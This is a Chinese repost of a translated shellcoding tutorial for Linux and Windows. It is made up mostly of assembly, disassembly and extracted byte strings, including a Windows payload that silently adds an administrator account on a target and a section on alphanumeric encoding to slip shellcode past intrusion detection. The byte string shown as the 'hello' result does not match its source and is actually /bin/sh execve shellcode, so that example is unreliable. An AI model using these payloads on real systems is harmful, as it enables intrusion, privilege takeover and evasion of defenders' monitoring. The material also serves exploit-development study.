Shellcoding for Linux and Windows Tutorial

来源:互联网 发布:淘宝手机端流量怎么看 编辑:程序博客网 时间:2024/05/19 00:43

Shellcoding for Linux and Windows Tutorial

几年前的老文章 看到顺便翻译了一下文中所有资源都可以在原文地址中取得:)

http://www.vividmachines.com/shellcode/shellcode.html

背景知识:

1.EAX,EBX,ECX,EDX等所有基于x86平台的32位通用寄存器

2.AH,BH,CH,DH等是通用寄存器的高16位

3.AL,BL,CL,DL等是通用寄存器的低16位

4.ESI和EDI寄存器是用来执行Linux系统调用的通用寄存器

5.XOR EAX,EAX是最快将寄存器置为0的方法

6.在windows下,所有函数参数都是通过栈来传递的

工具需求:gcc

ld

nasm

objdump


可选工具:odfhex.c:一款作者开发的,从“objdump -d”中提取出shellcode并且将它转换成不被检测的十六进制代码

arwin.c:一款作者开发的,通过特定DLL用来找到windows下函数的绝对地址的工具

shellcodetest.c:一个测试shellcode的小工具

exit.asm hello.asm msgbox.asm shellex.asm sleep.asm adduser.asm 文中源码(在Windows XP SP1下写成)


Linux Shellcoding

当我们要测试shellcode时,最好把它放在程序里让它跑起来。这个C程序将被用来测试我们所有的代码

<pre name="code" class="cpp"><span style="font-family: SimSun;">/*shellcodetest.c*/</span>
<span style="font-family: SimSun;">char code[] = "bytecode will go here!";</span>
<span style="font-family: SimSun;">int main(int argc, char **argv)</span>
<span style="font-family: SimSun;">{  </span>
<span style="font-family: SimSun;"><span></span>int (*func)();  </span>
<span style="font-family: SimSun;"><span></span>func = (int (*)()) code;  </span>
<span style="font-family: SimSun;"><span></span>(int)(*func)();</span>
<span style="font-family: SimSun;">}</span>

例1:快速退出

用exit做shellcode示例是最好不过了,因为它很简单。

下面是一些用来调用exit函数的简单汇编代码。

请注意al和XOR操作都是为了保证我们的代码里没有NULL符号。

<span style="font-family: SimSun;">;exit.asm[SECTION .text]global _start_start:        xor eax, eax       ;exit is syscall 1        mov al, 1       ;exit is syscall 1        xor ebx,ebx     ;zero out ebx        int 0x80</span>


通过下面几步来编译和提取这段代码:

<span style="font-family: SimSun;">steve hanna@1337b0x:~$ nasm -f elf exit.asmsteve hanna@1337b0x:~$ ld -o exiter exit.osteve hanna@1337b0x:~$ objdump -d exiter</span>

反汇编结果如下:

<span style="font-family: SimSun;">08048080 <_start>: 8048080:       b0 01                   mov    $0x1,%al 8048082:       31 db                   xor    %ebx,%ebx 8048084:       cd 80                   int    $0x80</span>


可以看到我们需要的字节是:

<span style="font-family: SimSun;">b0 01 31 db cd 80</span>

用这些字节重写上面的程序:

<span style="font-family: SimSun;">char code[] = "\xb0\x01\x31\xdb\xcd\x80";</span>

现在运行程序。

我们可以看到我们已经有了一段shellcode了 你可以调试以确保程序确实调用了exit函数。



例2:Saying Hello

这个例子中,我们将讲一些更为有用的东西。

在这段代码中,我们将会看到如何在程序运行时如何找到字符串的地址。

这是非常重要的一点,因为在运行shellcode通常是在一个未知的环境下,shellcode的地址通常也是未知的因为它不

总是运行在一段相同的地址空间中。

<span style="font-family: SimSun;">;hello.asm[SECTION .text]global _start_start:        jmp short ender        starter:        xor eax, eax    ;clean up the registers        xor ebx, ebx        xor edx, edx        xor ecx, ecx        mov al, 4       ;syscall write        mov bl, 1       ;stdout is 1        pop ecx         ;get the address of the string from the stack        mov dl, 5       ;length of the string        int 0x80        xor eax, eax        mov al, 1       ;exit the shellcode        xor ebx,ebx        int 0x80        ender:        call starter;put the address of the string on the stack        db 'hello'</span>


编译:

<span style="font-family: SimSun;">steve hanna@1337b0x:~$ nasm -f elf hello.asmsteve hanna@1337b0x:~$ ld -o hello hello.osteve hanna@1337b0x:~$ objdump -d hello</span>


反汇编:

<span style="font-family: SimSun;">Disassembly of section .text:08048080 <_start>: 8048080:       eb 19                   jmp    804809b 08048082 <starter>: 8048082:       31 c0                   xor    %eax,%eax 8048084:       31 db                   xor    %ebx,%ebx 8048086:       31 d2                   xor    %edx,%edx 8048088:       31 c9                   xor    %ecx,%ecx 804808a:       b0 04                   mov    $0x4,%al 804808c:       b3 01                   mov    $0x1,%bl 804808e:       59                      pop    %ecx 804808f:       b2 05                   mov    $0x5,%dl 8048091:       cd 80                   int    $0x80 8048093:       31 c0                   xor    %eax,%eax 8048095:       b0 01                   mov    $0x1,%al 8048097:       31 db                   xor    %ebx,%ebx 8048099:       cd 80                   int    $0x800804809b <ender>: 804809b:       e8 e2 ff ff ff          call   8048082  80480a0:       68 65 6c 6c 6f          push   $0x6f6c6c65</span>

转换后得到:
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\      "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\      "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\      "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\      "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";


这段代码基本提供了一个好的shellcode所拥有的特质,它是一段充分展示了写shellcode技巧的代码。但是注意,shellcode最好由汇编代码写成。

<span style="font-family: SimSun;">the better one is at assembly, the more functional, robust,and most of all evil, one's code will be.</span>



Windows Shellcoding


例1:Sleep is for the Weak

为了写出成功的shellcode,我们应该先确定我们要使用的函数以及该函数所在的绝对地址。比如我们只想要一个线程去sleep一段时间。我们先准备好arwin然后就可以开始了(arwin在上面可以找到)。记住,唯一一个保证进入进程空间的模块是kernel32.dll。所以在这个例子里,sleep看起来像是最简单的函数,仅仅需要接收一个时间参数,线程便会挂起与之相应的时间。

<span style="font-family: SimSun;">G:\> arwin kernel32.dll Sleeparwin - win32 address resolution program - by steve hanna - v.01Sleep is located at 0x77e61bea in kernel32.dll</span>
<span style="font-family: SimSun;">;sleep.asm[SECTION .text]global _start_start:        xor eax,eax        mov ebx, 0x77e61bea ;address of Sleep        mov ax, 5000        ;pause for 5000ms        push eax        call ebx        ;Sleep(ms);``````steve hanna@1337b0x:~$ nasm -f elf sleep.asm; ld -o sleep sleep.o; objdump -d sleepsleep:     file format elf32-i386Disassembly of section .text:08048080 <_start>: 8048080:       31 c0                   xor    %eax,%eax 8048082:       bb ea 1b e6 77          mov    $0x77e61bea,%ebx 8048087:       66 b8 88 13             mov    $0x1388,%ax 804808b:       50                      push   %eax 804808c:       ff d3                   call   *%ebx</span>



提取字符替换之后Replace the code at the top with:

<span style="font-family: SimSun;">char code[] = "\x31\xc0\xbb\xea\x1b\xe6\x77\x66\xb8\x88\x13\x50\xff\xd3";</span>

当段代码被插入到进程中时它会使主线程挂起五秒钟。(注意:这可能让你的电脑崩溃因为你的堆栈正好在这时爆了:D)


例2:A Message to say "Hey"

第二个例子事实上很有用处,因为他将会展示你利用shellcode所能做的事情。尽管这个例子并不会弹出一个对话框然后对你说hey,但是它展示了绝对地址与使用了LoadLibrary和GetProAddress的相对地址。我们将要使用的库函数有LoadLibraryA,GetProcAddress,MessageBoxA和ExitProcess。(注意:库函数之后的A代表我们使用的是正常的字符集,对应的,我们使用字母W来表示我们使用了一个更为庞大的字符集,比如说unicode)。让我们准备好arwin然后找到我们需要使用的地址。我们不会去检索MessageBoxA函数的地址,我们将会动态地去加载这个函数的地址。

<span style="font-family: SimSun;">> G:\>arwin kernel32.dll LoadLibraryAarwin - win32 address resolution program - by steve hanna - v.01LoadLibraryA is located at 0x77e7d961 in kernel32.dllG:\>arwin kernel32.dll GetProcAddressarwin - win32 address resolution program - by steve hanna - v.01GetProcAddress is located at 0x77e7b332 in kernel32.dllG:\>arwin kernel32.dll ExitProcessarwin - win32 address resolution program - by steve hanna - v.01ExitProcess is located at 0x77e798fd in kernel32.dll</span>

;msgbox.asm [SECTION .text]global _start_start:;eax holds return value;ebx will hold function addresses;ecx will hold string pointers;edx will hold NULLxor eax,eaxxor ebx,ebx;zero out the registersxor ecx,ecxxor edx,edxjmp short GetLibraryLibraryReturn:pop ecx;get the library stringmov [ecx + 10], dl;insert NULLmov ebx, 0x77e7d961;LoadLibraryA(libraryname);push ecx;beginning of user32.dllcall ebx;eax will hold the module handlejmp short FunctionNameFunctionReturn:pop ecx;get the address of the Function stringxor edx,edxmov [ecx + 11],dl;insert NULLpush ecxpush eaxmov ebx, 0x77e7b332;GetProcAddress(hmodule,functionname);call ebx;eax now holds the address of MessageBoxAjmp short MessageMessageReturn:pop ecx;get the message stringxor edx,edxmov [ecx+3],dl;insert the NULLxor edx,edxpush edx;MB_OKpush ecx;titlepush ecx;messagepush edx;NULL window handlecall eax;MessageBoxA(windowhandle,msg,title,type); Addressender:xor edx,edxpush eaxmov eax, 0x77e798fd ;exitprocess(exitcode);call eax;exit cleanly so we don't crash the parent program;the N at the end of each string signifies the location of the NULL;character that needs to be insertedGetLibrary:call LibraryReturndb 'user32.dllN'FunctionNamecall FunctionReturndb 'MessageBoxAN'Messagecall MessageReturndb 'HeyN'


替换字符串之后可以得到:
char code[] =   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\"\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\"\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\"\xff\x48\x65\x79\x4e";


在这个例子里,我们只是弹了个窗,这阐述了当我们在利用Windows shellcode的时候的几个重要的概念。静态地址在大多数例子中可以作为一个简单暴力的方法,让shellcode在几分钟之内就运行起来。这个例子说明了我们证明了几个特定的DLL确实会进入到进程空间当中去。一旦MessageBoxA函数被关联到ExitProcess时,ExitProcess就会被调用来确保程序正常的结束了(而不是crash了)


例3 Adding an Administrative Account

第三个例子实际上比前几个shellcode要简单一些,但是它可以让入侵者成功地在远程系统上添加一个用户,并且给这个用户管理员特权。这段代码不需要加载什么额外的库进入到进程空间里因为需要被我们调用的函数只有WinExec和ExitProcess。(注意:这段shellcode的灵感是从Metasploit项目中得来的。它们二者之间的不同在于本文中的代码比它的朋友们精简多了,而且加入你移除了ExitProcess函数的话,它还可以变得更小!)

<span style="font-family: SimSun;">G:\>arwin kernel32.dll ExitProcessarwin - win32 address resolution program - by steve hanna - v.01ExitProcess is located at 0x77e798fd in kernel32.dllG:\>arwin kernel32.dll WinExecarwin - win32 address resolution program - by steve hanna - v.01WinExec is located at 0x77e6fd35 in kernel32.dll</span>

<span style="font-family: SimSun;">;adduser.asm[Section .text]global _start_start:jmp short GetCommandCommandReturn:     pop ebx            ;ebx now holds the handle to the string    xor eax,eax    push eax     xor eax,eax        ;for some reason the registers can be very volatile, did this just in case   mov [ebx + 89],al   ;insert the NULL character   push ebx   mov ebx,0x77e6fd35   call ebx           ;call WinExec(path,showcode)    xor eax,eax        ;zero the register again, clears winexec retval    push eax    mov ebx, 0x77e798fd  call ebx           ;call ExitProcess(0);</span>
<span style="font-family: SimSun;">GetCommand:    ;the N at the end of the db will be replaced with a null character    call CommandReturndb "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD USERNAMEN"steve hanna@1337b0x:~$ nasm -f elf adduser.asm; ld -o adduser adduser.o; objdump -d adduseradduser:     file format elf32-i386Disassembly of section .text:08048080 <_start>: 8048080:       eb 1b                   jmp    804809d 08048082 : 8048082:       5b                      pop    %ebx 8048083:       31 c0                   xor    %eax,%eax 8048085:       50                      push   %eax 8048086:       31 c0                   xor    %eax,%eax 8048088:       88 43 59                mov    %al,0x59(%ebx) 804808b:       53                      push   %ebx 804808c:       bb 35 fd e6 77          mov    $0x77e6fd35,%ebx 8048091:       ff d3                   call   *%ebx 8048093:       31 c0                   xor    %eax,%eax 8048095:       50                      push   %eax 8048096:       bb fd 98 e7 77          mov    $0x77e798fd,%ebx 804809b:       ff d3                   call   *%ebx0804809d : 804809d:       e8 e0 ff ff ff          call   8048082  80480a2:       63 6d 64                arpl   %bp,0x64(%ebp) 80480a5:       2e                      cs 80480a6:       65                      gs 80480a7:       78 65                   js     804810e  80480a9:       20 2f                   and    %ch,(%edi) 80480ab:       63 20                   arpl   %sp,(%eax) 80480ad:       6e                      outsb  %ds:(%esi),(%dx) 80480ae:       65                      gs 80480af:       74 20                   je     80480d1  80480b1:       75 73                   jne    8048126  80480b3:       65                      gs 80480b4:       72 20                   jb     80480d6  80480b6:       55                      push   %ebp 80480b7:       53                      push   %ebx 80480b8:       45                      inc    %ebp 80480b9:       52                      push   %edx 80480ba:       4e                      dec    %esi 80480bb:       41                      inc    %ecx 80480bc:       4d                      dec    %ebp 80480bd:       45                      inc    %ebp 80480be:       20 50 41                and    %dl,0x41(%eax) 80480c1:       53                      push   %ebx 80480c2:       53                      push   %ebx 80480c3:       57                      push   %edi 80480c4:       4f                      dec    %edi 80480c5:       52                      push   %edx 80480c6:       44                      inc    %esp 80480c7:       20 2f                   and    %ch,(%edi) 80480c9:       41                      inc    %ecx 80480ca:       44                      inc    %esp 80480cb:       44                      inc    %esp 80480cc:       20 26                   and    %ah,(%esi) 80480ce:       26 20 6e 65             and    %ch,%es:0x65(%esi) 80480d2:       74 20                   je     80480f4  80480d4:       6c                      insb   (%dx),%es:(%edi) 80480d5:       6f                      outsl  %ds:(%esi),(%dx) 80480d6:       63 61 6c                arpl   %sp,0x6c(%ecx) 80480d9:       67 72 6f                addr16 jb 804814b  80480dc:       75 70                   jne    804814e  80480de:       20 41 64                and    %al,0x64(%ecx) 80480e1:       6d                      insl   (%dx),%es:(%edi) 80480e2:       69 6e 69 73 74 72 61    imul   $0x61727473,0x69(%esi),%ebp 80480e9:       74 6f                   je     804815a  80480eb:       72 73                   jb     8048160  80480ed:       20 2f                   and    %ch,(%edi) 80480ef:       41                      inc    %ecx 80480f0:       44                      inc    %esp 80480f1:       44                      inc    %esp 80480f2:       20 55 53                and    %dl,0x53(%ebp) 80480f5:       45                      inc    %ebp 80480f6:       52                      push   %edx 80480f7:       4e                      dec    %esi 80480f8:       41                      inc    %ecx 80480f9:       4d                      dec    %ebp 80480fa:       45                      inc    %ebp 80480fb:       4e                      dec    %esi</span>

替换字符串之后:

<span style="font-family: SimSun;">char code[] =  "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\"\xff\xd3\x31\xc0\x50\xbb\xfd\x98\xe7\x77\xff\xd3\xe8\xe0\xff\xff\xff"\"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"\"\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57"\"\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c"\"\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73"\"\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x55\x53\x45\x52"\"\x4e\x41\x4d\x45\x4e";</span>


当这段代码执行时,它将会给系统添加一个账户到系统管理员当中,这个账户拥有特定的密码。当这段代码执行完之后,它的父进程将会调用ExitProcess并退出。shellcode进阶这部分涵盖了一些编写shellcode过程中的高级话题。未来我还想往这里写更多的东西,但是最近我一直都非常忙碌。如果你对这些话题有特殊的请求,请不要犹豫,马上email给我吧。


printable shellcode

这部分的主题如下:事实上,很多的IDS(Instrustion Detection Systems,即入侵检测系统)可以检测到shellcode,因为这些无法打印的字符在二进制数据里实在是太常见了。如果IDS发现一个包中有太多的NOP和代码,那么它们就倾向于丢掉这个包。更有甚者,将所有非字母数字(alpha-numeric)都给过滤了。这样一来,我们使用可打印的字母数字来编写shellcode的目的已经非常明显了。我们可以实现一个方法,将我们的shellcode块藏在可以打印的字符中。这个部分可能和文中之前的例子有所不同。我们将通过几个具有战略性的小例子来说明这一切

我们的第一步就是要讨论如何混淆我们的一长串NOP。因为当IDS检测到一长串的NOP(0x90)时,它总是倾向于把这个包给丢掉。为了让我们的代码变得更难以检测,我们必须对代码进行一些删减:

OP Code        Hex       ASCIIinc eax        0x40        @inc ebx        0x43        Cinc ecx        0x41        Ainc edx        0x42        Bdec eax        0x48        Hdec ebx        0x4B        Kdec ecx        0x49        Idec edx        0x4A        J


很明显,如果我们插入这些操作数而不是NOP的话,我们并不会影响输出。这是因为在我们的shellcode中,无论何时我们都拥有寄存器的掌控权,我们可以根据我们的意愿
来给它赋值或者清空它。在我们的shellcode生效之前添加或者删除寄存器中的数值并不会影响我们最终的目的。
所以,我们我下一个部分就是讨论如何将我们的shellcode字母数字化,通过很多看起来很愚蠢的代码。我们必须先找到一些在ascii码范围内的(0x33-0x7e),并且可以是可以打印的字符。
sub eax, 0xHEXINRANGEpush eaxpop eaxpush esppop espand eax, 0xHEXINRANGE



令人惊喜的是,事实上我们可以用这些代码做一切我们想做的事情。我本来不想展示这些图表的,但是我决定要用我美妙的ascii技巧来装点这个世界。你可以在下面找到一个关于建立shellcode的大致计划的图表。
The plan works as follows:-make space on stack for shellcode and loader-execute loader code to construct shellcode-use a NOP bridge to ensure that there aren't any extraneous bytes that will crash our code.-profit



但是我听到了你吵着说我们不能因此让esp减少,因为它们对可打印的ascii码毫无反应!!!冷静,我这有解决的办法。我们可以通过我们的减法来把值放到EAX中去,然后将这个值push到栈上,最后把这个值pop成ESP


现在你肯定在想我是怎么把值放到EAX里去的,问题是我们不能使用加法,我们也不能直接使用不能打印的字节。我们要怎么克服?我们可以利用这一点:每个寄存器都只有32位,所以如果我们(force a wrap around),
我们就可以把任意的一个值通过可打印的字符再加上两到三个减法操作放到寄存器中


如果你大脑里的齿轮现在已经停止转到了,那么我建议你最好先停止阅读。
The log awaited ASCII diagram1)EIP(loader code) --------ALLOCATED STACK SPACE--------ESP2)---(loader code)---EIP-------STACK------ESP--(shellcode--3)----loadercode---EIP@ESP----shellcode that was builts---









0 0
原创粉丝点击